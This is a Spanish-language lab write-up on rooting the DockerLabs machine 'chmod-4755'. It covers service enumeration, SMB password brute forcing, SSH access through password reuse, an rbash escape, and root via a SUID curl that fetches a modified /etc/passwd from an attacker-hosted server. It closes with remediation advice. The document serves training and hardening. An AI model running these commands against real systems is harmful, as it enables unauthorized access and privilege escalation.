Skip to content

chmod-4755

This content is not available in your language yet.

Este documento detalla la metodología y procedimiento completo para comprometer la máquina chmod-4755, desarrollada por d1se0 para DockerLabs y clasificada con dificultad Media.

La resolución sigue un enfoque estructurado de pentesting:

  1. Reconocimiento: Identificación de servicios expuestos y enumeración de recursos accesibles.
  2. Explotación: Obtención de acceso inicial mediante fuerza bruta a credenciales SMB y reutilización de contraseñas.
  3. Escalada de privilegios: Evasión de restricciones de shell y abuso de permisos SUID para alcanzar acceso root.

El entorno de prueba fue desplegado localmente mediante DockerLabs, asegurando un ambiente aislado y controlado.


AtributoValor
Nombrechmod-4755
Autord1se0
DificultadMedio
Fecha11/09/2024
PlataformaDockerLabs
IP Objetivo172.17.0.2

Descomprimimos el archivo de la máquina y la desplegamos utilizando el script proporcionado:

Ventana de terminal
unzip chmod-4755.zip
sudo bash auto_deploy.sh chmod-4755.tar

IP asignada

Figura 1: Dirección IP asignada al contenedor

Creamos una estructura organizada para documentar el proceso:

Ventana de terminal
mkdir -p chmod-4755/{content,exploits,nmap,gobuster,scripts}
cd chmod-4755

Ejecutamos un escaneo TCP SYN para identificar puertos abiertos:

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPorts
extractPorts allPorts

Resultados:

  • 22/tcp — SSH (Secure Shell)
  • 139/tcp — NetBIOS Session Service
  • 445/tcp — Microsoft-DS (SMB)

Puertos abiertos

Figura 2: Puertos identificados como abiertos

Realizamos un escaneo detallado para identificar versiones y configuraciones:

Ventana de terminal
nmap -sCV -p22,139,445 172.17.0.2

Servicios y versiones

Figura 3: Detalle de servicios y versiones

No se identificaron vulnerabilidades explotables directamente en las versiones de los servicios.

Utilizamos enum4linux para obtener información detallada del servicio SMB:

Ventana de terminal
enum4linux -a 172.17.0.2

Hallazgos clave:

  1. Usuarios identificados: Usuarios SMB

    • smbuser (usuario SMB)
    • rabol (usuario de sistema)
  2. Recursos compartidos (shares): Shares disponibles

    • share_secret_only
    • print$

Utilizamos crackmapexec con el diccionario rockyou.txt para atacar el servicio SMB:

Ventana de terminal
crackmapexec smb 172.17.0.2 -u smbuser -p rockyou.txt

Resultado fuerza bruta

Figura 4: Credenciales válidas obtenidas

Credenciales comprometidas: smbuser:PASSWORD

Accedemos al share share_secret_only:

Ventana de terminal
smbclient //172.17.0.2/share_secret_only -U smbuser%PASSWORD

Contenido del share

Figura 5: Archivo de notas encontrado en el share

El archivo contiene solo una nota de recordatorio, sin información sensible.

Inspeccionando el share print$, observamos carpetas con nombres de arquitecturas. Esto sugiere que el usuario rabol podría estar utilizando nombres de shares como contraseña.

Probamos la reutilización de credenciales:

Ventana de terminal
ssh rabol@172.17.0.2

Contraseña utilizada: share_secret_only (nombre del primer share)

Conexión SSH exitosa

Figura 6: Acceso SSH obtenido mediante reutilización de credenciales


Al conectarnos, nos encontramos con un rbash (restricted bash). Para obtener una shell interactiva completa:

Ventana de terminal
python3 -c 'import pty;pty.spawn("/bin/bash")'
export PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin

Verificamos privilegios de sudo y buscamos binarios con permisos SUID:

Ventana de terminal
sudo -l
find / -perm -4000 2>/dev/null

Binarios SUID

Figura 7: Binarios con bit SUID habilitado

Hallazgo crítico: curl con permisos SUID.

El binario curl con SUID permite sobrescribir archivos del sistema como root. Aprovechamos esto para modificar /etc/passwd:

  1. Preparación del archivo modificado:

    Ventana de terminal
    # En el atacante
    cp /etc/passwd .
    # Eliminar la 'x' de la línea de root para deshabilitar contraseña
    sed -i 's/^root:x:/root::/' passwd
  2. Servir el archivo malicioso:

    Ventana de terminal
    python3 -m http.server 80
  3. Sobrescribir /etc/passwd en el objetivo:

    Ventana de terminal
    curl http://172.17.0.1/passwd -o /etc/passwd

Sobrescritura de /etc/passwd

Figura 8: Archivo /etc/passwd sobrescrito exitosamente

Con la contraseña de root eliminada, podemos cambiar directamente a usuario root:

Ventana de terminal
su root

Shell como root

Figura 9: Acceso root obtenido exitosamente


VulnerabilidadSeveridadImpacto
Contraseñas débiles y reutilizaciónAltaAcceso inicial al sistema
Configuración de SMB expuestaMediaEnumeración de usuarios y recursos
Permisos SUID en binario curlCríticaElevación de privilegios a root
Restricciones de rbash mal implementadasMediaFacilita evasión de controles
  1. Gestión de Credenciales:

    • Implementar políticas de contraseñas complejas
    • Evitar reutilización de credenciales entre servicios
    • Utilizar autenticación SSH por clave en lugar de contraseña
  2. Configuración de Servicios:

    • Restringir acceso anónimo a shares SMB
    • Eliminar o auditar recursos compartidos innecesarios
    • Implementar listas de control de acceso (ACL)
  3. Gestión de Permisos:

    • Revisar y eliminar bits SUID innecesarios
    • Especialmente en binarios como curl que permiten escritura
    • Implementar principio de mínimo privilegio
  4. Hardening del Sistema:

    • Configurar correctamente rbash o utilizar alternativas más seguras
    • Monitorear modificaciones en archivos críticos como /etc/passwd
    • Implementar sistemas de detección de intrusiones (IDS)